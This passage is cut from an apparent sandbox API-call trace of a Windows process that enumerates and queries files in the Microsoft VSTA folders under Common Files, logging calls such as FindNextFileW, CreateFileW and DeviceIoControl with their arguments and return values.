(HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d1d8 [0087.329] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d1d8) returned 1 [0087.329] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedbfba00, ftCreationTime.dwHighDateTime=0x1c9e433, ftLastAccessTime.dwLowDateTime=0x617be070, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xedbfba00, ftLastWriteTime.dwHighDateTime=0x1c9e433, nFileSizeHigh=0x0, nFileSizeLow=0x4b50, dwReserved0=0x0, dwReserved1=0x0, cFileName="vsta_ep32.exe", cAlternateFileName="")) returned 1 [0087.329] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d1d8 [0087.329] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d1d8) returned 1 [0087.329] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d1d8 [0087.330] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d1d8) returned 1 [0087.330] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d1d8 [0087.330] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d1d8) returned 1 [0087.330] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1d62600, ftCreationTime.dwHighDateTime=0x1c9e42e, ftLastAccessTime.dwLowDateTime=0x527793d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb1d62600, ftLastWriteTime.dwHighDateTime=0x1c9e42e, nFileSizeHigh=0x0, nFileSizeLow=0x74, dwReserved0=0x0, dwReserved1=0x0, cFileName="vsta_ep32.exe.config", cAlternateFileName="")) returned 1 [0087.330] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d1d8 [0087.331] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d1d8) returned 1 [0087.331] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d1d8 [0087.331] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d1d8) returned 1 [0087.331] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d1d8 [0087.331] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13050f8 [0087.332] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d370) returned 1 [0087.332] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bb9a8 [0087.332] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1305200 [0087.332] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d1d8) returned 1 [0087.332] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1d62600, ftCreationTime.dwHighDateTime=0x1c9e42e, ftLastAccessTime.dwLowDateTime=0x527793d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb1d62600, ftLastWriteTime.dwHighDateTime=0x1c9e42e, nFileSizeHigh=0x0, nFileSizeLow=0x74, dwReserved0=0x0, dwReserved1=0x0, cFileName="vsta_ep32.exe.config", cAlternateFileName="")) returned 0 [0087.332] GetLastError () returned 0x12 [0087.332] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\8.0\\x86\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0087.332] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0087.332] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5272d110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x617be070, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x617be070, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.332] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8fb0600, ftCreationTime.dwHighDateTime=0x1c9e433, ftLastAccessTime.dwLowDateTime=0x617be070, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe8fb0600, ftLastWriteTime.dwHighDateTime=0x1c9e433, nFileSizeHigh=0x0, nFileSizeLow=0x7b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTARemotingServer.dll", cAlternateFileName="")) returned 1 [0087.333] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedbfba00, ftCreationTime.dwHighDateTime=0x1c9e433, ftLastAccessTime.dwLowDateTime=0x617be070, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xedbfba00, ftLastWriteTime.dwHighDateTime=0x1c9e433, nFileSizeHigh=0x0, nFileSizeLow=0x4b50, dwReserved0=0x0, dwReserved1=0x0, cFileName="vsta_ep32.exe", cAlternateFileName="")) returned 1 [0087.333] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1d62600, ftCreationTime.dwHighDateTime=0x1c9e42e, ftLastAccessTime.dwLowDateTime=0x527793d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb1d62600, ftLastWriteTime.dwHighDateTime=0x1c9e42e, nFileSizeHigh=0x0, nFileSizeLow=0x74, dwReserved0=0x0, dwReserved1=0x0, cFileName="vsta_ep32.exe.config", cAlternateFileName="")) returned 1 [0087.333] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1d62600, ftCreationTime.dwHighDateTime=0x1c9e42e, ftLastAccessTime.dwLowDateTime=0x527793d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb1d62600, ftLastWriteTime.dwHighDateTime=0x1c9e42e, nFileSizeHigh=0x0, nFileSizeLow=0x74, dwReserved0=0x0, dwReserved1=0x0, cFileName="vsta_ep32.exe.config", cAlternateFileName="")) returned 0 [0087.333] GetLastError () returned 0x12 [0087.333] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1304ff0) returned 1 [0087.333] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0087.352] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13050f8) returned 1 [0087.352] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1304ee8) returned 1 [0087.352] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5272d110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x617be070, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x617be070, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x86", cAlternateFileName="")) returned 0 [0087.352] GetLastError () returned 0x12 [0087.352] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d3f8) returned 1 [0087.352] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0087.353] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0087.353] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d150) returned 1 [0087.353] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xe5707cc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5707cc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppInfoDocument", cAlternateFileName="")) returned 1 [0087.353] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0087.353] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.354] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1304ee8 [0087.354] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\AppInfoDocument" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsta\\appinfodocument"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xe5707cc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5707cc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0087.354] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\AppInfoDocument" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsta\\appinfodocument"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0087.354] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0087.354] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1322698 [0087.355] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1322698, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1322698, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0087.355] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1322698) returned 1 [0087.355] NtClose (Handle=0x180) returned 0x0 [0087.355] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1304ee8) returned 1 [0087.355] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.355] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d150 [0087.356] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1304ee8 [0087.356] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.356] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13050f8 [0087.356] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\AppInfoDocument\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e91c0 [0087.356] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xe5707cc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5707cc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.356] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed5c9040, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xe5707cc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xed5c9040, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x25b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="AddIns.store", cAlternateFileName="")) returned 1 [0087.356] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.357] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.357] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.357] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.357] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.358] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1304ff0 [0087.358] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d150) returned 1 [0087.358] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bb9c8 [0087.358] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1305308 [0087.358] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8200) returned 0x1322698 [0087.359] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f2508) returned 1 [0087.359] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.359] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x594863b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.AppInfoDocument", cAlternateFileName="")) returned 1 [0087.360] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x594863b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.AppInfoDocument", cAlternateFileName="")) returned 0 [0087.360] GetLastError () returned 0x12 [0087.360] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\AppInfoDocument\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e90c0 [0087.360] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0087.360] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xe5707cc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5707cc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.360] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed5c9040, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xe5707cc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xed5c9040, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x25b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="AddIns.store", cAlternateFileName="")) returned 1 [0087.360] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x594863b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.AppInfoDocument", cAlternateFileName="")) returned 1 [0087.360] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1305410 [0087.360] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\AppInfoDocument\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsta\\appinfodocument\\microsoft.visualstudio.tools.office.appinfodocument"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x594863b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0087.360] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\AppInfoDocument\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsta\\appinfodocument\\microsoft.visualstudio.tools.office.appinfodocument"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0087.361] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0087.361] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x132a8a0 [0087.361] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x132a8a0, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x132a8a0, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0087.361] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x132a8a0) returned 1 [0087.361] NtClose (Handle=0x180) returned 0x0 [0087.361] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1305410) returned 1 [0087.362] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.362] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d150 [0087.362] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1305410 [0087.362] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.362] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1305518 [0087.363] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\AppInfoDocument\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e91c0 [0087.363] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x594863b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.363] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33e0b300, ftCreationTime.dwHighDateTime=0x1ca5247, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x33e0b300, ftLastWriteTime.dwHighDateTime=0x1ca5247, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.dll", cAlternateFileName="")) returned 1 [0087.363] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.363] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.363] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.364] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.364] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.364] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.364] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33e0b300, ftCreationTime.dwHighDateTime=0x1ca5247, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x33e0b300, ftLastWriteTime.dwHighDateTime=0x1ca5247, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.dll", cAlternateFileName="")) returned 0 [0087.364] GetLastError () returned 0x12 [0087.364] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\AppInfoDocument\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9100 [0087.364] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0087.364] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x594863b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.365] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33e0b300, ftCreationTime.dwHighDateTime=0x1ca5247, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x33e0b300, ftLastWriteTime.dwHighDateTime=0x1ca5247, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.dll", cAlternateFileName="")) returned 1 [0087.365] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33e0b300, ftCreationTime.dwHighDateTime=0x1ca5247, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x33e0b300, ftLastWriteTime.dwHighDateTime=0x1ca5247, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.dll", cAlternateFileName="")) returned 0 [0087.365] GetLastError () returned 0x12 [0087.365] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1305518) returned 1 [0087.365] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0087.365] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d150) returned 1 [0087.365] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1305410) returned 1 [0087.365] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x594863b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.AppInfoDocument", cAlternateFileName="")) returned 0 [0087.365] GetLastError () returned 0x12 [0087.366] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13050f8) returned 1 [0087.366] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0087.366] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1304ff0) returned 1 [0087.366] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1304ee8) returned 1 [0087.366] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20323f10, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x69acfbd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69acfbd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pipeline.v10.0", cAlternateFileName="")) returned 1 [0087.366] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1304ee8 [0087.366] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft 